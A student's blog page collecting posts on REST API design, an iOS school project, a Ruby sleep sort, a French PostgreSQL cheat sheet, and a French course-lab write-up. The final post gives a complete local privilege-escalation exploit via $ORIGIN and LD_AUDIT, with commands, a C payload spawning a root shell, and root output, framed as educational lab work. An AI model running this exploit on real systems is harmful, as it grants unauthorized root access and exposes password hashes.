Pierre-Olivier Bourgeois Writings and code from an IT engineering student.

Some REST best practices

REST APIs are a very common topic nowaday; they are part of almost every web application. A simple, consistent and pragmatic interface is a mandatory thing; it will be much easier for others to use your API. Even if these practices may look common to your eye, I often see people that don't really respect them. That's why I decided to write a post about it.

Here are some best practices to keep in mind while designing a RESTful API.

Disclamer: these best practices are what I think is good, based from my past expriences. If you think otherwise, feel free to send me an email so we can have a discussion about it.

Version your API

API versions should be mandatory. This way, you will be futureproof as the API changes through time. One way is to do is to pass the API version in the URL (/api/v1/...).

One other neat trick is to use the Accept HTTP header to pass the verison desired. Github does that.

Using versions will allow you to change the API structure without breaking compatibility with older clients.

Use nouns, not verbs

One thing I often see is people using verbs instead of nouns in their resources name. Here are some bad examples :

  • /getProducts
  • /listOrders
  • /retreiveClientByOrder?orderId=1

For a clean and conscice structure, you should always use nouns. Moreover, a good use of HTTP methods will allow you to remove actions from your resources names. Here is a much cleaner example :

  • GET /products : will return the list of all products
  • POST /products : will add a product to the collection
  • GET /products/4 : will retreive product #4
  • PATCH/PUT /products/4 : will update product #4

Use the plural form

In my opinion, it is not a really good idea to mix singular and plural forms in a single resource naming; it can quickly become confusing and non consistent.

Use /artists instead of /artist, even for the show/delete/update actions

GET and HEAD calls should always be safe

RFC2616 cleary states that HEAD and GET methods should always be safe to call (in other words, the state should not be altered).

Here is a bad example: GET /deleteProduct?id=1

Imagine a search engine indexing that page...

Use nested resources

If you want to get a sub collection (collection of an other one), use nested routing for a cleaner design. For instance, if you want to get a list of all albums of a particular artist, you would want to use :

  • GET /artists/8/albums

Paging

Returning a very large resultset over HTTP is not a very good idea neither. You will eventually run into performance issues as serializing a large JSON may quickly become expensive.

An option to get around that would be to paginate your results. Facebook, Twitter, Github, etc. does that. It is much more efficient to make more calls that takes little time to complete, than a big one that is very slow to execute.

Also, if you are using pagination, one good way to indicate the next and previous pages links is through the Link HTTP header. Github does that too.

Use proper HTTP status codes

Always use proper HTTP status codes when returning content (for both successful and error requests). Here a quick list of non common codes that you may want to use in your application.

Success codes

  • 201 Created should be used when creating content (INSERT),
  • 202 Accepted should be used when a request is queued for background processing (async tasks),
  • 204 No Content should be used when the request was properly executed but no content was returned (a good example would be when you delete something).

Client error codes

  • 400 Bad Request should be used when there was an error while processing the request payload (malformed JSON, for instance).
  • 401 Unauthorized should be used when a request is not authenticiated (wrong access token, or username or password).
  • 403 Forbidden should be used when the request is successfully authenticiated (see 401), but the action was forbidden.
  • 406 Not Acceptable should be used when the requested format is not available (for instance, when requesting an XML resource from a JSON only server).
  • 410 Gone Should be returned when the requested resource is permenantely deleted and will never be available again.
  • 422 Unprocesable entity Could be used when there was a validation error while creating an object.

A more complete list of status codes can be found in RFC2616.

Always return a consistent error payload

When an exception is raised, you should always return a consistent payload describing the error. This way, it will be easier for other to parse the error message (the structure will always be the same, whatever the error is).

Here one I often use in my web applications. It is clear, simple and self descriptive.

HTTP/1.1 401 Unauthorized
{
    "status": "Unauthorized",
    "message": "No access token provided.",
    "request_id": "594600f4-7eec-47ca-8012-02e7b89859ce"
}

ManETS

I haven't really blogged lately.

I thought it would be cool to talk a little about a school project we delivered today. As said in the title, it's called ManETS (Manette) which means remote in french. (yeah, there is a lot of puns going on with my school name which is ÉTS).

Part of the class GTI785, the project was basically to develop a complete mobile remote application for Android. Even if the iOS version was only a bonus, I tought it would be educative to take some time to make it happen. Here is what I could come with after few hours of coding.

iOS Application

Here are some key features:

  • Basic playback functions: play, pause, forward and previous
  • Meta data (ID3) was provided by the server, over the network
  • Ability to refresh content on the fly; useful for adding new songs without the need to completely restart the application
  • Basic search using a simple implementation of UISearchBarDisplayController and with the help of NSPredicate
  • Gesture implementation for forward and previous actions (swipe left or right)
  • iOS 7 style blur across some views (behind the search UITableView, behind the UINavigationBar, etc).

You might wonder what the antenna icon is for: a streaming funtionnality was initially required but I did not manage to make it work under iOS (I might be wrong here, but I think a part of the reason is because iOS only supports HTTP Live Streaming (HLS)). Also, since the iOS version was only a bonus, I did not worry to much about this.

As my first presentable iOS application, I think it's pretty nice and clean. The only sad part, is probably the code - it's probably not as efficient as it could be (implementation of CoreData would be better, there is also probably some room to more design patterns, etc.).

In a future post, I might talk a little more about the backend implementation and what were the challenging features to implement.

Sleep sort algorithm

A while ago, one of my friends Simon told me about a funny sorting algorithm called sleep sort (originaly posted on 4chan).

The idea behind it is really simple: you sleep for the value of each number in the array and then you add that integer to the end of the array. Of course you can use some kind of constant (in my example I divided by 1000) to reduce the sleep time significantly.

He wrote an asynchronous javascript implementation of this algorithm - I could not resist to write a Ruby one. Here is my take.

def sleep_sort(*args)
  args.each { |e| fork { sleep(e.to_f/1000); puts e } }
end
sleep_sort(*ARGV) # Outputs to stdout

While this is great, I think it would be much more cleaner to extend Array directly, as following:

class Array
  def sleep_sort
    [].tap { |a| self.map { |e| 
      Thread.new{ sleep e.to_f/1000; a << e} }.each{ |t| 
        t.join
        } 
      }
  end
end

puts ARGV.sleep_sort

Sleep sort is not really a linear sorting algorithm. It kind of depends on how many cores you have, or on how many threads you can run simultaneously.

I really like this kind of esoteric algorithm - this could lead to great discussions about algorithms, operating sytems and computer architecture.

PostgreSQL pour les nuls

Se connecter à une base de données:

$ psql postgres # base de données par défaut
$ psql nom_de_la_bd

Connexion en tant qu'un utilisateur:

$ psql postgres nom_de_la_bd
$ psql -U rickastley nom_de_la_bd

Se connecter en utilisant TCP/IP (psql utilise par défaut un socket UNIX).

$ psql -h localhost -p 5432 nom_de_la_bd

Demander à psql de nous demander le mot de masse:

$ psql -W nom_de_la_bd
Password:

Un coup entré dans l'invite de commande de PostgreSQL, voici quelques commandes utiles.

postgres=# \h            # aide sur les commandes SQL
postgres=# \?            # aide sur les commandes psql
postgres=# \l            # lister les bases de données
postgres=# \c nom_bd     # se connecter à une base de données
postgres=# \d            # liste des tables
postgres=# \d nom_table  # schema d'une table donnée
postgres=# \du           # lister les roles
postgres=# \e            # édition dans $EDITOR

À ce stade, vous pouvez simplement entrer des requêtes SQL et elles seront éxécutés sur la base de données présentement sélectionnée.


En environnement de production, il est bien sûr nécessaire de créer des utilisateurs et de leurs donner les bons droits, voici quelques commandes que j'utilise fréquemment.

Création d'un nouvel utilisateur:

CREATE USER rickastley WITH PASSWORD 'unturbomotdepasse';

Création d'une nouvelle base de données:

CREATE DATABASE rickastley_bd;

Et pour terminer, donner les droits sur la base de données rickastley_bd à l'utilisateur rickastley:

GRANT ALL PRIVILEGES ON DATABASE rickastley_bd to rickastley;

Aventures de GTI619

Lors de notre quatrième laboratoire de GTI619, une des dernières questions était de retrouver la liste des comptes utilisateurs valides pour un serveur linux (le fameux /etc/passwd), et en bonus, de retrouver le mot de passe hashé de ces utilisateurs (/etc/shadow).

Trouver la liste des comptes utilisateurs était plutôt simple, car nous avions déjà un accès en terminal à ce serveur (le fichier /etc/passwd est permis en lecture pour tous). Le vrai défi était d'avoir accès au fichier contenant les mots de passe au format hashé.

Il a donc fallu trouver une façon d'obtenir un accès root à ce serveur (privilege escalation). Voici comment nous avons procédé (sommairement).

Au premier coup d'oeil, le serveur semblait tourner CentOS 5.X.

Attention !

Les manipulations décrites dans cet article ne devraient jamais être exécutées dans des environnements réels. L'information est présentée à titre éducationnel. Tous les tests ont été exécutés dans des environnements virtuels et contrôlés, dans le cadre du cours GTI619.

Procédure

Premièrement, on créer un répertoire dans un endroit où nous avons plein accès, /tmp par exemple,

mkdir /tmp/exploit

Ensuite, on lie un binaire suid ce qui change donc la définition de $ORIGIN,

ln /bin/ping /tmp/exploit/target

On ouvre un file descriptor vers le fichier binaire,

exec 3< /tmp/exploit/target

Ce descripteur est désormais accessible via /proc,

ls -l /proc/$$/fd/3
lr-x------ 1 user user 64 Oct 28 14:21 /proc/10836/fd/3 -> /tmp/exploit/target*

On supprime le dossier précédemment créé,

rm -rf /tmp/exploit/

Le lien dans /proc devrait normalement toujours exister, mais il devrait être marqué comme (deleted),

ls -l /proc/$$/fd/3
lr-x------ 1 user user 64 Oct 28 14:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

On remplace le dossier par un payload DSO, ce qui rendra $ORIGIN comme cible valide pour dlopen();,

$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}

On compile,

gcc -w -fPIC -shared -o /tmp/exploit payload.c
ls -l /tmp/exploit
-rwxrwx--- 1 user user 4.2K Oct 28 14:22 /tmp/exploit*

Il ne reste plus qu'à forcer le lien dans /proc pour charger $ORIGIN à travers LD_AUDIT,

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root)